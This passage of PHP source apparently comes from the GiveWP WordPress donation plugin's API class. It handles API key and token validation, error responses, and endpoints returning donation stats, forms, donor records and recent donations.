			$wp_query->query_vars['give-api'] = str_replace( $version . '/', '', $wp_query->query_vars['give-api'] );

			if ( array_key_exists( $version, $this->versions ) ) {

				$this->queried_version = $version;

			} else {

				$this->is_valid_request = false;
				$this->invalid_version();
			}
		} else {

			$this->queried_version = $this->get_default_version();

		}

	}

	/**
	 * Validate the API request
	 *
	 * Checks for the user's public key and token against the secret key.
	 *
	 * @access private
	 * @global object $wp_query WordPress Query
	 * @uses   Give_API::get_user()
	 * @uses   Give_API::invalid_key()
	 * @uses   Give_API::invalid_auth()
	 * @since  1.1
	 * @return bool
	 */
	private function validate_request() {
		global $wp_query;

		$this->override = false;

		// Make sure we have both user and api key
		if ( ! empty( $wp_query->query_vars['give-api'] ) && ( $wp_query->query_vars['give-api'] !== 'forms' || ! empty( $wp_query->query_vars['token'] ) ) ) {

			if ( empty( $wp_query->query_vars['token'] ) || empty( $wp_query->query_vars['key'] ) ) {
				$this->missing_auth();

				return false;
			}

			// Retrieve the user by public API key and ensure they exist
			if ( ! preg_match( '/^[a-f0-9]{32}$/i', $wp_query->query_vars['key'] ) || ! ( $user = $this->get_user( $wp_query->query_vars['key'] ) ) ) {

				$this->invalid_key();

				return false;

			} else {
				$token  = urldecode( $wp_query->query_vars['token'] );
				$secret = $this->get_user_secret_key( $user );
				$public = urldecode( $wp_query->query_vars['key'] );

				// Verify that if user has secret key or not
				if ( ! $secret ) {
					$this->invalid_auth();
				}

				if ( hash_equals( md5( $secret . $public ), $token ) ) {
					$this->is_valid_request = true;
				} else {
					$this->invalid_auth();

					return false;
				}
			}
		} elseif ( ! empty( $wp_query->query_vars['give-api'] ) && $wp_query->query_vars['give-api'] === 'forms' ) {
			$this->is_valid_request = true;
			$wp_query->set( 'key', 'public' );
		}
	}

	/**
	 * Retrieve the user ID based on the public key provided
	 *
	 * @access public
	 * @since  1.1
	 * @global WPDB  $wpdb  Used to query the database using the WordPress
	 *                      Database API
	 *
	 * @param string $key   Public Key
	 *
	 * @return bool if user ID is found, false otherwise
	 */
	public function get_user( $key = '' ) {
		global $wpdb, $wp_query;

		if ( empty( $key ) ) {
			$key = urldecode( $wp_query->query_vars['key'] );
		}

		if ( empty( $key ) ) {
			return false;
		}

		$user = Give_Cache::get( md5( 'give_api_user_' . $key ), true );

		if ( false === $user ) {
			$user = $wpdb->get_var( $wpdb->prepare( "SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value=%s LIMIT 1", $key, 'give_user_public_key' ) );
			Give_Cache::set( md5( 'give_api_user_' . $key ), $user, DAY_IN_SECONDS, true );
		}

		if ( $user != null ) {
			$this->user_id = $user;

			return $user;
		}

		return false;
	}

	/**
	 * Get user public key.
	 *
	 * @param int $user_id
	 *
	 * @return mixed|null|string
	 */
	public function get_user_public_key( $user_id = 0 ) {
		global $wpdb;

		if ( empty( $user_id ) ) {
			return '';
		}

		$cache_key       = md5( 'give_api_user_public_key' . $user_id );
		$user_public_key = Give_Cache::get( $cache_key, true );

		if ( empty( $user_public_key ) ) {
			$user_public_key = $wpdb->get_var( $wpdb->prepare( "SELECT meta_key FROM $wpdb->usermeta WHERE meta_value = 'give_user_public_key' AND user_id = %d", $user_id ) );
			Give_Cache::set( $cache_key, $user_public_key, HOUR_IN_SECONDS, true );
		}

		return $user_public_key;
	}

	/**
	 * Get user secret key.
	 *
	 * @param int $user_id
	 *
	 * @return mixed|null|string
	 */
	public function get_user_secret_key( $user_id = 0 ) {
		global $wpdb;

		if ( empty( $user_id ) ) {
			return '';
		}

		$cache_key       = md5( 'give_api_user_secret_key' . $user_id );
		$user_secret_key = Give_Cache::get( $cache_key, true );

		if ( empty( $user_secret_key ) ) {
			$user_secret_key = $wpdb->get_var( $wpdb->prepare( "SELECT meta_key FROM $wpdb->usermeta WHERE meta_value = 'give_user_secret_key' AND user_id = %d", $user_id ) );
			Give_Cache::set( $cache_key, $user_secret_key, HOUR_IN_SECONDS, true );
		}

		return $user_secret_key;
	}

	/**
	 * Displays a missing authentication error if all the parameters are not met.
	 * provided
	 *
	 * @access private
	 * @uses   Give_API::output()
	 * @since  1.1
	 */
	private function missing_auth() {
		$error          = array();
		$error['error'] = __( 'You must specify both a token and API key.', 'give' );

		$this->data = $error;
		$this->output( 401 );
	}

	/**
	 * Displays an authentication failed error if the user failed to provide valid
	 * credentials
	 *
	 * @access private
	 * @since  1.1
	 * @uses   Give_API::output()
	 * @return void
	 */
	private function invalid_auth() {
		$error          = array();
		$error['error'] = __( 'Your request could not be authenticated.', 'give' );

		$this->data = $error;
		$this->output( 403 );
	}

	/**
	 * Displays an invalid API key error if the API key provided couldn't be
	 * validated
	 *
	 * @access private
	 * @since  1.1
	 * @uses   Give_API::output()
	 * @return void
	 */
	private function invalid_key() {
		$error          = array();
		$error['error'] = __( 'Invalid API key.', 'give' );

		$this->data = $error;
		$this->output( 403 );
	}

	/**
	 * Displays an invalid version error if the version number passed isn't valid
	 *
	 * @access private
	 * @since  1.1
	 * @uses   Give_API::output()
	 * @return void
	 */
	private function invalid_version() {
		$error          = array();
		$error['error'] = __( 'Invalid API version.', 'give' );

		$this->data = $error;
		$this->output( 404 );
	}

	/**
	 * Listens for the API and then processes the API requests
	 *
	 * @access public
	 * @global $wp_query
	 * @since  1.1
	 * @return void
	 */
	public function process_query() {

		global $wp_query;

		// Start logging how long the request takes for logging
		$before = microtime( true );

		// Check for give-api var. Get out if not present
		if ( empty( $wp_query->query_vars['give-api'] ) ) {
			return;
		}

		// Determine which version was queried
		$this->set_queried_version();

		// Determine the kind of query
		$this->set_query_mode();

		// Check for a valid user and set errors if necessary
		$this->validate_request();

		// Only proceed if no errors have been noted
		if ( ! $this->is_valid_request ) {
			return;
		}

		if ( ! defined( 'GIVE_DOING_API' ) ) {
			define( 'GIVE_DOING_API', true );
		}

		$data         = array();
		$this->routes = new $this->versions[ $this->get_queried_version() ];
		$this->routes->validate_request();

		switch ( $this->endpoint ) :

			case 'stats':
				$data = $this->routes->get_stats(
					array(
						'type'      => isset( $wp_query->query_vars['type'] ) ? $wp_query->query_vars['type'] : null,
						'form'      => isset( $wp_query->query_vars['form'] ) ? $wp_query->query_vars['form'] : null,
						'date'      => isset( $wp_query->query_vars['date'] ) ? $wp_query->query_vars['date'] : null,
						'startdate' => isset( $wp_query->query_vars['startdate'] ) ? $wp_query->query_vars['startdate'] : null,
						'enddate'   => isset( $wp_query->query_vars['enddate'] ) ? $wp_query->query_vars['enddate'] : null,
					)
				);

				break;

			case 'forms':
				$form = isset( $wp_query->query_vars['form'] ) ? $wp_query->query_vars['form'] : null;

				$data = $this->routes->get_forms( $form );

				break;

			case 'donors':
				$donor = isset( $wp_query->query_vars['donor'] ) ? $wp_query->query_vars['donor'] : null;

				$data = $this->routes->get_donors( $donor );

				break;

			case 'donations':
				/**
				 *  Call to get recent donations
				 *
				 * @params text date | today, yesterday or range
				 * @params date startdate | required when date = range and format to be YYYYMMDD (i.e. 20170524)
				 * @params date enddate | required when date = range and format to be YYYYMMDD (i.e. 20170524)
				 */
				$data = $this->routes->get_recent_donations(
					array(
						'id'        => isset( $wp_query->query_vars['id'] ) ? $wp_query->query_vars['id'] : null,
						'date'      => isset( $wp_query->query_vars['date'] ) ? $wp_query->query_vars['date'] : null,
						'startdate' => isset( $wp_query->query_vars['startdate'] ) ? $wp_query->query_vars['startdate'] : null,
						'enddate'   => isset( $wp_query->query_vars['enddate'] ) ? $wp_query->query_vars['enddate'] : null,
					)
				);

				break;

		endswitch;

		// Allow extensions to setup their own return data
		$this->data = apply_filters( 'give_api_output_data', $data, $this->endpoint, $this );

		$after                       = microtime( true );
		$request_time                = ( $after - $before );
		$this->data['request_speed'] = $request_time;

		// Log this API request, if enabled. We log it here because we have access to errors.
		$this->log_request( $this->data );

		// Send out data to the output function
		$this->output();
	}

	/**
	 * Returns the API endpoint requested
	 *
	 * @access public
	 * @since  1.1
	 * @return string $query Query mode
	 */
	public function get_query_mode() {

		return $this->endpoint;
	}

	/**
	 * Determines the kind of query requested and also ensure it is a valid query
	 *
	 * @access public
	 * @since  1.1
	 * @global $wp_query
	 */
	public function set_query_mode() {

		global $wp_query;

		// Whitelist our query options
		$accepted = apply_filters(
			'give_api_valid_query_modes',
			array(
				'stats',
				'forms',
				'donors',
				'donations',
			)
		);

		$query = isset( $wp_query->query_vars['give-api'] ) ? $wp_query->query_vars['give-api'] : null;
		$query = str_replace( $this->queried_version . '/', '', $query );

		$error = array();

		// Make sure our query is valid
		if ( ! in_array( $query, $accepted ) ) {
			$error['error'] = __( 'Invalid query.', 'give' );

			$this->data = $error;
			// 400 is Bad Request
			$this->output( 400 );
		}

		$this->endpoint = $query;
	}

	/**
	 * Get page number
	 *
	 * @access public
	 * @since  1.1
	 * @global $wp_query
	 * @return int $wp_query->query_vars['page'] if page number returned (default: 1)
	 */
	public function get_paged() {
		global $wp_query;

		return isset( $wp_query->query_vars['page'] ) ? $wp_query->query_vars['page'] : 1;
	}


	/**
	 * Number of results to display per page
	 *
	 * @access public
	 * @since  1.1
	 * @global $wp_query
	 * @return int $per_page Results to display per page (default: 10)
	 */
	public function per_page() {
		global $wp_query;

		$per_page = isset( $wp_query->query_vars['number'] ) ? $wp_query->query_vars['number'] : 10;

		if ( $per_page < 0 && $this->get_query_mode() == 'donors' ) {
			$per_page = 99999999;
		} // End if().

		return apply_filters( 'give_api_results_per_page', $per_page );
	}

	/**
	 * Sets up the dates used to retrieve earnings/donations
	 *
	 * @access public
	 * @since  1.2
	 *
	 * @param array $args Arguments to override defaults
	 *
	 * @return array $dates
	 */
	public function get_dates( $args = array() ) {
		$dates = array();

		$defaults = array(
			'type'      => '',
			'form'      => null,
			'date'      => null,
			'startdate' => null,
			'enddate'   => null,
		);

		$args = wp_parse_args( $args, $defaults );

		$current_time = current_time( 'timestamp' );

		if ( 'range' === $args['date'] ) {
			$startdate          = strtotime( $args['startdate'] );
			$enddate            = strtotime( $args['enddate'] );
			$dates['day_start'] = date( 'd', $startdate );
			$dates['day_end']   = date( 'd', $enddate );
			$dates['m_start']   = date( 'n', $startdate );
			$dates['m_end']     = date( 'n', $enddate );
			$dates['year']      = date( 'Y', $startdate );
			$dates['year_end']  = date( 'Y', $enddate );
		} else {
			// Modify dates based on predefined ranges
			switch ( $args['date'] ) :

				case 'this_month':
					$dates['day']     = null;
					$dates['m_start'] = date( 'n', $current_time );
					$dates['m_end']   = date( 'n', $current_time );
					$dates['year']    = date( 'Y', $current_time );
					break;

				case 'last_month':
					$dates['day']     = null;
					$dates['m_start'] = date( 'n', $current_time ) == 1 ? 12 : date( 'n', $current_time ) - 1;
					$dates['m_end']   = $dates['m_start'];
					$dates['year']    = date( 'n', $current_time ) == 1 ? date( 'Y', $current_time ) - 1 : date( 'Y', $current_time );
					break;

				case 'today':
					$dates['day']     = date( 'd', $current_time );
					$dates['m_start'] = date( 'n', $current_time );
					$dates['m_end']   = date( 'n', $current_time );
					$dates['year']    = date( 'Y', $current_time );
					break;

				case 'yesterday':
					$year  = date( 'Y', $current_time );
					$month = date( 'n', $current_time );
					$day   = date( 'd', $current_time );

					if ( $month == 1 && $day == 1 ) {

						$year -= 1;
						$month = 12;
						$day   = cal_days_in_month( CAL_GREGORIAN, $month, $year );

					} elseif ( $month > 1 && $day == 1 ) {

						$month -= 1;
						$day    = cal_days_in_month( CAL_GREGORIAN, $month, $year );

					} else {

						$day -= 1;

					}

					$dates['day']     = $day;
					$dates['m_start'] = $month;
					$dates['m_end']   = $month;
					$dates['year']    = $year;

					break;

				case 'this_quarter':
					$month_now = date( 'n', $current_time );

					$dates['day'] = null;

					if ( $month_now <= 3 ) {

						$dates['m_start'] = 1;
						$dates['m_end']   = 3;
						$dates['year']    = date( 'Y', $current_time );

					} elseif ( $month_now <= 6 ) {

						$dates['m_start'] = 4;
						$dates['m_end']   = 6;
						$dates['year']    = date( 'Y', $current_time );

					} elseif ( $month_now <= 9 ) {

						$dates['m_start'] = 7;
						$dates['m_end']   = 9;
						$dates['year']    = date( 'Y', $current_time );

					} else {

						$dates['m_start'] = 10;
						$dates['m_end']   = 12;
						$dates['year']    = date( 'Y', $current_time );

					}
					break;

				case 'last_quarter':
					$month_now = date( 'n', $current_time );

					$dates['day'] = null;

					if ( $month_now <= 3 ) {

						$dates['m_start'] = 10;
						$dates['m_end']   = 12;
						$dates['year']    = date( 'Y', $current_time ) - 1; // Previous year

					} elseif ( $month_now <= 6 ) {

						$dates['m_start'] = 1;
						$dates['m_end']   = 3;
						$dates['year']    = date( 'Y', $current_time );

					} elseif ( $month_now <= 9 ) {

						$dates['m_start'] = 4;
						$dates['m_end']   = 6;
						$dates['year']    = date( 'Y', $current_time );

					} else {

						$dates['m_start'] = 7;
						$dates['m_end']   = 9;
						$dates['year']    = date( 'Y', $current_time );

					}
					break;

				case 'this_year':
					$dates['day']     = null;
					$dates['m_start'] = null;
					$dates['m_end']   = null;
					$dates['year']    = date( 'Y', $current_time );
					break;

				case 'last_year':
					$dates['day']     = null;
					$dates['m_start'] = null;
					$dates['m_end']   = null;
					$dates['year']    = date( 'Y', $current_time ) - 1;
					break;

			endswitch;
		}// End if().

		/**
		 * Returns the filters for the dates used to retrieve earnings.
		 *
		 * @since 1.2
		 *
		 * @param array $dates The dates used for retrieving earnings.
		 */
		return apply_filters( 'give_api_stat_dates', $dates );
	}

	/**
	 * Process Get Donors API Request.
	 *
	 * @access public
	 * @since  1.1
	 * @global WPDB $wpdb  Used to query the database using the WordPress Database API.
	 *
	 * @param int $donor Donor ID.
	 *
	 * @return array $donors Multidimensional array of the donors.
	 */
	public function get_donors( $donor = null ) {

		$donors = array();
		$error  = array();
		if ( ! user_can( $this->user_id, 'view_give_sensitive_data' ) && ! $this->override ) {
			return $donors;
		}

		$paged    = $this->get_paged();
		$per_page = $this->per_page();
		$offset   = $per_page * ( $paged - 1 );

		if ( is_numeric( $donor ) ) {
			$field = 'id';
		} else {
			$field = 'email';
		}

		$donor_query = Give()->donors->get_donors(
			array(
				'number' => $per_page,
				'offset' => $offset,
				$field   => $donor,
			)
		);
		$donor_count = 0;

		if ( $donor_query ) {

			foreach ( $donor_query as $donor_obj ) {

				$names      = explode( ' ', $donor_obj->name );
				$first_name = ! empty( $names[0] ) ? $names[0] : '';
				$last_name  = '';
				if ( ! empty( $names[1] ) ) {
					unset( $names[0] );
					$last_name = implode( ' ', $names );
				}

				$title_prefix = Give()->donor_meta->get_meta( $donor_obj->id, '_give_donor_title_prefix', true );

				// Set title prefix empty, if not available in db.
				if ( empty( $title_prefix ) ) {
					$title_prefix = '';
				}

				$donors['donors'][ $donor_count ]['info']['user_id']      = '';
				$donors['donors'][ $donor_count ]['info']['username']     = '';
				$donors['donors'][ $donor_count ]['info']['display_name'] = '';
				$donors['donors'][ $donor_count ]['info']['donor_id']     = $donor_obj->id;
				$donors['donors'][ $donor_count ]['info']['title_prefix'] = $title_prefix;
				$donors['donors'][ $donor_count ]['info']['first_name']   = $first_name;
				$donors['donors'][ $donor_count ]['info']['last_name']    = $last_name;
				$donors['donors'][ $donor_count ]['info']['email']        = $donor_obj->email;

				if ( ! empty( $donor_obj->user_id ) ) {

					$user_data = get_userdata( $donor_obj->user_id );

					// Donor with registered account.
					$donors['donors'][ $donor_count ]['info']['user_id']      = $donor_obj->user_id;
					$donors['donors'][ $donor_count ]['info']['username']     = $user_data->user_login;
					$donors['donors'][ $donor_count ]['info']['display_name'] = $user_data->display_name;

				}

				$donors['donors'][ $donor_count ]['stats']['total_donations'] = $donor_obj->purchase_count;
				$donors['donors'][ $donor_count ]['stats']['total_spent']     = $donor_obj->purchase_value;

				$donor = new Give_Donor( $donor_obj->id );

				// Get donor's addresses.
				$donors['donors'][ $donor_count ]['address'] = $donor->address;

				$donor_count ++;

			} // End foreach().
		} elseif ( $donor ) {

			$error['error'] = sprintf(
				/* translators: %s: donor */
				__( 'Donor %s not found.', 'give' ),
				$donor
			);

			return $error;

		} else {

			$error['error'] = __( 'No donors found.', 'give' );

			return $error;

		} // End if().

		return $donors;
	}

	/**
	 * Process Get Donation Forms API Request
	 *
	 * @access public
	 * @since  1.1
	 *
	 * @param int $form Give Form ID.
	 *
	 * @return array $donors Multidimensional array of the forms.
	 */
	public function get_forms( $form = null ) {

		$forms = array();
		$error = array();

		if ( $form == null ) {
			$forms['forms'] = array();

			$form_list = get_posts(
				array(
					'post_type'        => 'give_forms',
					'posts_per_page'   => $this->per_page(),
					'suppress_filters' => true,
					'paged'            => $this->get_paged(),
				)
			);

			if ( $form_list ) {
				$i = 0;
				foreach ( $form_list as $form_info ) {
					$forms['forms'][ $i ] = $this->get_form_data( $form_info );
					$i ++;
				}
			}
		} else {
			if ( get_post_type( $form ) == 'give_forms' ) {
				$form_info = get_post( $form );

				$forms['forms'][0] = $this->get_form_data( $form_info );

			} else {
				$error['error'] = sprintf( /* translators: %s: form */
					__( 'Form %s not found.', 'give' ),
					$form
				);

				return $error;
			}
		}

		return $forms;
	}

	/**
	 * Given a give_forms post object, generate the data for the API output
	 *
	 * @since  1.1
	 *
	 * @param  object $form_info The Give Form's Post Object.
	 *
	 * @return array                Array of post data to return back in the API.
	 */
	private function get_form_data( $form_info ) {

		$form     = array();
		$currency = give_get_option( 'currency' );

		$form['info']['id']            = $form_info->ID;
		$form['info']['slug']          = $form_info->post_name;
		$form['info']['title']         = $form_info->post_title;
		$form['info']['create_date']   = $form_info->post_date;
		$form['info']['modified_date'] = $form_info->post_modified;
		$form['info']['status']        = $form_info->post_status;
		$form['info']['link']          = html_entity_decode( $form_info->guid );
		$form['info']['content']       = give_get_meta( $form_info->ID, '_give_form_content', true );
		$form['info']['thumbnail']     = wp_get_attachment_url( get_post_thumbnail_id( $form_info->ID ) );

		if ( give_is_setting_enabled( give_get_option( 'categories', 'disabled' ) ) ) {
			$form['info']['category'] = get_the_terms( $form_info, 'give_forms_category' );
			$form['info']['tags']     = get_the_terms( $form_info, 'give_forms_tag' );
		}
		if ( give_is_setting_enabled( give_get_option( 'tags', 'disabled' ) ) ) {
			$form['info']['tags'] = get_the_terms( $form_info, 'give_forms_tag' );
		}

		// Check whether any goal is to be achieved for the donation form.
		$goal_option = give_get_meta( $form_info->ID, '_give_goal_option', true );
		$goal_amount = give_get_meta( $form_info->ID, '_give_set_goal', true );
		if ( give_is_setting_enabled( $goal_option ) && $goal_amount ) {
			$total_income                         = give_get_form_earnings_stats( $form_info->ID );
			$goal_percentage_completed            = ( $total_income < $goal_amount ) ? round( ( $total_income / $goal_amount ) * 100, 2 ) : 100;
			$form['goal']['amount']               = isset( $goal_amount ) ? give_format_decimal(
				array(
					'amount'   => $goal_amount,
					'currency' => $currency,
				)
			) : '';
			$form['goal']['percentage_completed'] = isset( $goal_percentage_completed ) ? $goal_percentage_completed : '';
		}

		if ( user_can( $this->user_id, 'view_give_reports' ) || $this->override ) {
			$form['stats']['total']['donations']           = give_get_form_sales_stats( $form_info->ID );
			$form['stats']['total']['earnings']            = give_format_decimal(
				array(
					'amount'   => give_get_form_earnings_stats( $form_info->ID ),
					'currency' => $currency,
				)
			);
			$form['stats']['monthly_average']['donations'] = give_get_average_monthly_form_sales( $form_info->ID );
			$form['stats']['monthly_average']['earnings']  = give_format_decimal(
				array(
					'amount'   => give_get_average_monthly_form_earnings( $form_info->ID ),
					'currency' => $currency,
				)
			);
		}

		$counter = 0;
		if ( give_has_variable_prices( $form_info->ID ) ) {
			foreach ( give_get_variable_prices( $form_info->ID ) as $price ) {
				$counter ++;
				// multi-level item
				$level                                     = isset( $price['_give_text'] ) ? $price['_give_text'] : 'level-' . $counter;
				$form['pricing'][ sanitize_key( $level ) ] = give_format_decimal(
					array(
						'amount'   => $price['_give_amount'],
						'currency' => $currency,
					)
				);

			}
		} else {
			$form['pricing']['amount'] = give_format_decimal(
				array(
					'amount'   => give_get_form_price( $form_info->ID ),
					'currency' => $currency,
				)
			);
		}

		if ( user_can( $this->user_id, 'view_give_sensitive_data' ) || $this->override ) {

			/**
			 * Fires when generating API sensitive data.
			 *
			 * @since 1.1
			 */
			do_action( 'give_api_sensitive_data' );

		}

		return apply_filters( 'give_api_forms_form', $form );

	}

	/**
	 * Process Get Stats API Request
	 *
	 * @since 1.1
	 *
	 * @global WPDB $wpdb Used to query the database using the WordPress.
	 *
	 * @param array $args Arguments provided by API Request.
	 *
	 * @return array
	 */
	public function get_stats( $args = array() ) {
		$defaults = array(
			'type'      => null,
			'form'      => null,
			'date'      => null,
			'startdate' => null,
			'enddate'   => null,
		);

		$args = wp_parse_args( $args, $defaults );

		$dates = $this->get_dates( $args );

		$currency  = give_get_option( 'currency' );
		$stats     = array();
		$earnings  = array(
			'earnings' => array(),
		);
		$donations = array(
			'donations' => array(),
		);
		$error     = array();

		if ( ! user_can( $this->user_id, 'view_give_reports' ) && ! $this->override ) {
			return $stats;
		}

		if ( $args['type'] == 'donations' ) {

			if ( $args['form'] == null ) {
				if ( $args['date'] == null ) {
					$donations = $this->get_default_sales_stats();
				} elseif ( $args['date'] === 'range' ) {
					// Return donations for a date range.
					// Ensure the end date is later than the start date.
					if ( $args['enddate'] < $args['startdate'] ) {
						$error['error'] = __( 'The end date must be later than the start date.', 'give' );
					}

					// Ensure both the start and end date are specified
					if ( empty( $args['startdate'] ) || empty( $args['enddate'] ) ) {
						$error['error'] = __( 'Invalid or no date range specified.', 'give' );
					}

					$total = 0;

					// Loop through the years
					$y = $dates['year'];
					while ( $y <= $dates['year_end'] ) :

						if ( $dates['year'] == $dates['year_end'] ) {
							$month_start = $dates['m_start'];
							$month_end   = $dates['m_end'];
						} elseif ( $y == $dates['year'] && $dates['year_end'] > $dates['year'] ) {
							$month_start = $dates['m_start'];
							$month_end   = 12;
						} elseif ( $y == $dates['year_end'] ) {
							$month_start = 1;
							$month_end   = $dates['m_end'];
						} else {
							$month_start = 1;
							$month_end   = 12;
						}

						$i = $month_start;
						while ( $i <= $month_end ) :

							if ( $i == $dates['m_start'] ) {
								$d = $dates['day_start'];
							} else {
								$d = 1;
							}

							if ( $i == $dates['m_end'] ) {
								$num_of_days = $dates['day_end'];
							} else {
								$num_of_days = cal_days_in_month( CAL_GREGORIAN, $i, $y );
							}

							while ( $d <= $num_of_days ) :
								$sale_count = give_get_sales_by_date( $d, $i, $y );
								$date_key   = date( 'Ymd', strtotime( $y . '/' . $i . '/' . $d ) );
								if ( ! isset( $donations['sales'][ $date_key ] ) ) {
									$donations['sales'][ $date_key ] = 0;
								}
								$donations['sales'][ $date_key ] += $sale_count;
								$total                           += $sale_count;
								$d ++;
							endwhile;
							$i ++;
						endwhile;

						$y ++;
					endwhile;

					$donations['totals'] = $total;
				} else {
					if ( $args['date'] == 'this_quarter' || $args['date'] == 'last_quarter' ) {
						$donations_count = 0;

						// Loop through the months
						$month = $dates['m_start'];

						while ( $month <= $dates['m_end'] ) :
							$donations_count += give_get_sales_by_date( null, $month, $dates['year'] );
							$month ++;
						endwhile;

						$donations['donations'][ $args['date'] ] = $donations_count;
					} else {
						$donations['donations'][ $args['date'] ] = give_get_sales_by_date( $dates['day'], $dates['m_start'], $dates['year'] );
					}
				}// End if().
			} elseif ( $args['form'] == 'all' ) {
				$forms = get_posts(
					array(
						'post_type' => 'give_forms',
						'nopaging'  => true,
					)
				);
				$i     = 0;
				foreach ( $forms as $form_info ) {
					$donations['donations'][ $i ] = array(
						$form_info->post_name => $this->stats->get_sales(
							$form_info->ID,
							is_numeric( $args['startdate'] )
								? strtotime( $args['startdate'] )
								: $args['startdate'],
							is_numeric( $args['enddate'] )
								? strtotime( $args['enddate'] )
								: $args['enddate']
						),
					);
					$i ++;
				}
			} else {
				if ( get_post_type( $args['form'] ) == 'give_forms' ) {
					$form_info                 = get_post( $args['form'] );
					$donations['donations'][0] = array(
						$form_info->post_name => $this->stats->get_sales(
							$args['form'],
							is_numeric( $args['startdate'] )
								? strtotime( $args['startdate'] )
								: $args['startdate'],
							is_numeric( $args['enddate'] )
								? strtotime( $args['enddate'] )
								: $args['enddate']
						),
					);
				} else {
					$error['error'] = sprintf( /* translators: %s: form */
						__( 'Form %s not found.', 'give' ),
						$args['form']
					);
				}
			}// End if().

			if ( ! empty( $error ) ) {
				return $error;
			}

			return $donations;

		} elseif ( $args['type'] == 'earnings' ) {
			if ( $args['form'] == null ) {
				if ( $args['date'] == null ) {
					$earnings = $this->get_default_earnings_stats();
				} elseif ( $args['date'] === 'range' ) {
					// Return sales for a date range
					// Ensure the end date is later than the start date
					if ( $args['enddate'] < $args['startdate'] ) {
						$error['error'] = __( 'The end date must be later than the start date.', 'give' );
					}

					// Ensure both the start and end date are specified
					if ( empty( $args['startdate'] ) || empty( $args['enddate'] ) ) {
						$error['error'] = __( 'Invalid or no date range specified.', 'give' );
					}

					$total = (float) 0.00;

					// Loop through the years
					$y = $dates['year'];
					if ( ! isset( $earnings['earnings'] ) ) {
						$earnings['earnings'] = array();
					}
					while ( $y <= $dates['year_end'] ) :

						if ( $dates['year'] == $dates['year_end'] ) {
							$month_start = $dates['m_start'];
							$month_end   = $dates['m_end'];
						} elseif ( $y == $dates['year'] && $dates['year_end'] > $dates['year'] ) {
							$month_start = $dates['m_start'];
							$month_end   = 12;
						} elseif ( $y == $dates['year_end'] ) {
							$month_start = 1;
							$month_end   = $dates['m_end'];
						} else {
							$month_start = 1;
							$month_end   = 12;
						}

						$i = $month_start;
						while ( $i <= $month_end ) :

							if ( $i == $dates['m_start'] ) {
								$d = $dates['day_start'];
							} else {
								$d = 1;
							}

							if ( $i == $dates['m_end'] ) {
								$num_of_days = $dates['day_end'];
							} else {
								$num_of_days = cal_days_in_month( CAL_GREGORIAN, $i, $y );
							}

							while ( $d <= $num_of_days ) :
								$earnings_stat = give_get_earnings_by_date( $d, $i, $y );
								$date_key      = date( 'Ymd', strtotime( $y . '/' . $i . '/' . $d ) );
								if ( ! isset( $earnings['earnings'][ $date_key ] ) ) {
									$earnings['earnings'][ $date_key ] = 0;
								}

								$earnings['earnings'][ $date_key ] += give_format_decimal(
									array(
										'amount'   => $earnings_stat,
										'currency' => $currency,
									)
								);
								$total                             += $earnings_stat;
								$d ++;
							endwhile;

							$i ++;
						endwhile;

						$y ++;
					endwhile;

					$earnings['totals'] = give_format_decimal(
						array(
							'amount'   => $total,
							'currency' => $currency,
						)
					);
				} else {
					if ( $args['date'] == 'this_quarter' || $args['date'] == 'last_quarter' ) {
						$earnings_count = (float) 0.00;

						// Loop through the months
						$month = $dates['m_start'];

						while ( $month <= $dates['m_end'] ) :
							$earnings_count += give_get_earnings_by_date( null, $month, $dates['year'] );
							$month ++;
						endwhile;

						$earnings['earnings'][ $args['date'] ] = give_format_decimal(
							array(
								'amount'   => $earnings_count,
								'currency' => $currency,
							)
						);
					} else {
						$earnings['earnings'][ $args['date'] ] = give_format_decimal(
							array(
								'amount'   => give_get_earnings_by_date( $dates['day'], $dates['m_start'], $dates['year'] ),
								'currency' => $currency,
							)
						);
					}
				}// End if().
			} elseif ( $args['form'] == 'all' ) {
				$forms = get_posts(
					array(
						'post_type' => 'give_forms',
						'nopaging'  => true,
					)
				);

				$i = 0;
				foreach ( $forms as $form_info ) {
					$earnings['earnings'][ $i ] = array(
						$form_info->post_name => give_format_decimal(
							array(
								'amount'   => give_get_form_earnings_stats( $form_info->ID ),
								'currency' => $currency,
							)
						),
					);
					$i ++;
				}
			} else {
				if ( get_post_type( $args['form'] ) == 'give_forms' ) {
					$form_info               = get_post( $args['form'] );
					$earnings['earnings'][0] = array(
						$form_info->post_name => give_format_decimal(
							array(
								'amount'   => $this->stats->get_earnings(
									$args['form'],
									is_numeric( $args['startdate'] )
									? strtotime( $args['startdate'] )
									: $args['startdate'],
									is_numeric( $args['enddate'] )
									? strtotime( $args['enddate'] )
									: $args['enddate']
								),
								'currency' => $currency,
							)
						),
					);
				} else {
					$error['error'] = sprintf( /* translators: %s: form */
						__( 'Form %s not found.', 'give' ),
						$args['form']
					);
				}
			}// End if().

			if ( ! empty( $error ) ) {
				return $error;
			}

			return $earnings;
		} elseif ( $args['type'] == 'donors' ) {
			$donors                             = new Give_DB_Donors();
			$stats['donations']['total_donors'] = $donors->count();

			return $stats;

		} elseif ( empty( $args['type'] ) ) {
			$stats = array_merge( $stats, $this->get_default_sales_stats() );
			$stats = array_merge( $stats, $this->get_default_earnings_stats() );

			return array(
				'stats' => $stats,
			);
		}// End if().
	}

	/**
	 * Retrieves Recent Donations
	 *
	 * @access public
	 * @since  1.1
	 *
	 * @param $args array
	 *
	 * @return array
	 */
	public function get_recent_donations( $args = array() ) {
		global $wp_query;

		$defaults = array(
			'id'        => null,
			'date'      => null,
			'startdate' => null,
			'enddate'   => null,
		);

		$args = wp_parse_args( $args, $defaults );

		$donations = array();

		if ( ! user_can( $this->user_id, 'view_give_reports' ) && ! $this->override ) {
			return $donations;
		}

		if ( isset( $wp_query->query_vars['id'] ) ) {
			$query   = array();
			$query[] = new Give_Payment( $wp_query->query_vars['id'] );
		} elseif ( isset( $wp_query->query_vars['purchasekey'] ) ) {
			$query   = array();
			$query[] = give_get_payment_by( 'key', $wp_query->query_vars['purchasekey'] );
		} elseif ( isset( $wp_query->query_vars['email'] ) ) {
			$args  = array(
				'fields'     => 'ids',
				'meta_key'   => '_give_payment_donor_email',
				'meta_value' => $wp_query->query_vars['email'],
				'number'     => $this->per_page(),
				'page'       => $this->get_paged(),
			);
			$query = give_get_payments( $args );
		} elseif ( isset( $wp_query->query_vars['date'] ) ) {

			$current_time = current_time( 'timestamp' );
			$dates        = $this->get_dates( $args );
			$start_date   = '';
			$end_date     = '';

			/**
			 *  Switch case for date query argument
			 *
			 * @since  1.8.8
			 *
			 * @params text date | today, yesterday or range
			 * @params date startdate | required when date = range and format to be YYYYMMDD (i.e. 20170524)
